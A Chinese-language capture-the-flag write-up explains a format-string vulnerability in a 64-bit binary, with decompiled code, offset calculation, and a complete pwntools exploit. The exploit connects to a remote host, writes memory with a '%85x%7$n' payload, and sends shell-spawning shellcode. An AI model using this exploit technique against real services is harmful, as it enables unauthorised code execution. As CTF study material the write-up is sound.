分析
名字看来是格式化字符串漏洞
checksec
64位,开启了canary,不能直接栈溢出了
IDA
main函数
__int64 __fastcall main(int a1, char **a2, char **a3)
{
_DWORD *v4; // [rsp+18h] [rbp-78h]
setbuf(stdout, 0LL);
alarm(0x3Cu);
sub_400996(60LL);
v4 = malloc(8uLL);
*v4 = 68;
v4[1] = 85;
puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
puts("we will tell you two secret ...");
printf("secret[0] is %x\n", v4);
printf("secret[1] is %x\n", v4 + 1);
puts("do not tell anyone ");
sub_400D72(v4);
puts("The End.....Really?");
return 0LL;
}
这是个小游戏,函数有点多,有目的性的找到在sub_400BB9()中有printf函数
unsigned __int64 sub_400BB9()
{
int v1; // [rsp+4h] [rbp-7Ch] BYREF
__int64 v2; // [rsp+8h] [rbp-78h] BYREF
char format[104]; // [rsp+10h] [rbp-70h] BYREF
unsigned __int64 v4; // [rsp+78h] [rbp-8h]
v4 = __readfsqword(0x28u);
v2 = 0LL;
puts("You travel a short distance east.That's odd, anyone disappear suddenly");
puts(", what happend?! You just travel , and find another hole");
puts("You recall, a big black hole will suckk you into it! Know what should you do?");
puts("go into there(1), or leave(0)?:");
_isoc99_scanf("%d", &v1);
if ( v1 == 1 )
{
puts("A voice heard in your mind");
puts("'Give me an address'");
_isoc99_scanf("%ld", &v2);
puts("And, you wish is:");
_isoc99_scanf("%s", format);
puts("Your wish is");
printf(format);
puts("I hear it, I hear it....");
}
return __readfsqword(0x28u) ^ v4;
}
分析一下流程:运行main→输入name后跳转sub_400D72→长度≤0xC就可以先执行sub_400A7D(),后执行sub_400BB9(),最后执行sub_400CA6(a1)
sub_400A7D中没有什么,sub_400BB9中有个printf,sub_400CA6中有个注意点。
unsigned __int64 __fastcall sub_400CA6(_DWORD *a1)
{
void *v1; // rsi
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Ahu!!!!!!!!!!!!!!!!A Dragon has appeared!!");
puts("Dragon say: HaHa! you were supposed to have a normal");
puts("RPG game, but I have changed it! you have no weapon and ");
puts("skill! you could not defeat me !");
puts("That's sound terrible! you meet final boss!but you level is ONE!");
if ( *a1 == a1[1] )
{
puts("Wizard: I will help you! USE YOU SPELL");
v1 = mmap(0LL, 0x1000uLL, 7, 33, -1, 0LL);
read(0, v1, 0x100uLL);
((void (__fastcall *)(_QWORD))v1)(0LL);
}
return __readfsqword(0x28u) ^ v3;
}
if里mma是p一种内存映射文件的方法,通过read函数读入一串机器码,然后运行。也就是if判读a1[0]==a1[1]为真,就将v1的内容当成可执行的。很明显,拿v1来存储shellcode来执行。这里的v1往前翻一翻就知道其实是main里的v4传过去的
main里给了v4[0]=68,v4[1]=85值并不相等,就要得到v4的地址来修改值使得二者相等
exp
该函数里,是先输入存到v1里,但是没有对v1的printf无法利用漏洞,然后有v2和format两个分别存'address'和'wish',利用后面两个任意一个计算偏移
先利用%p的输入确定偏移量为7
aaaaaaaa-%p-%p-%p-%p-%p-%p-%p-%p-%p
第8个是0x6161616161616161,也就是输入的aaaaaaaa。64的调用约定是前 6 个参数是从左至右依次存放于RDI,RSI,RDX,RCX,R8,R9寄存器里面,剩下的参数通过栈传递,从右至左顺序入栈,这里也就是RDI→RSI→RDX→RCX→R8→R9→RSP+8→RSP+16,是RSP+16。
因为这一行printf前面还有'Give me an address'后输入的v2参数,占了一个偏移,所以输入的wish是printf的第八个参数,格式化字符串的第七个参数
这里找偏移还可以在address输入
65535 # 也就是0xffff
这次就是第七个参数了
下面是将v4[1]的值85赋值到*v4中
from pwn import *
# context(arch='amd64', os='linux', log_level='debug')
p=remote("61.147.171.105 ",52277)
p.recvuntil('secret[0] is ')
#v4_addr=int(sh.recv(7),16)
v4_addr=int(p.recvuntil('\n')[:-1],16) # -1是从右边开始裁,16是转换成16进制
p.sendlineafter('name be:','name')
p.sendlineafter('east or up?:','east')
p.sendlineafter('leave(0)?:','1')
p.sendlineafter('\'Give me an address\'',str(v4_addr)) # 传入v4的地址
payload='a'*85+'%7$n'
# payload='%085d'+'%7$n'
# payload='%85x%7$n'
p.recvuntil('you wish is:')
p.sendline('%85x%7$n')
shellcode=asm(shellcraft.amd64.linux.sh(),arch="amd64")
p.recvuntil('I will help you! USE YOU SPELL')
p.sendline(shellcode)
p.interactive()
如果想v4[0]的值68放到v4[1]中,只要改一点就可以
p.recvuntil('secret[1] is ') # 换成获取v4+1的值
# 或者是和原来一样获取v4的值,但是后面改成p.sendlineafter('\'Give me an address\'',str(v4_addr+4))
%n将它前面的字符长度数赋值给一个变量或一个地址,用%k$n将其前面的字符长度数赋值给偏移该函数为k的参数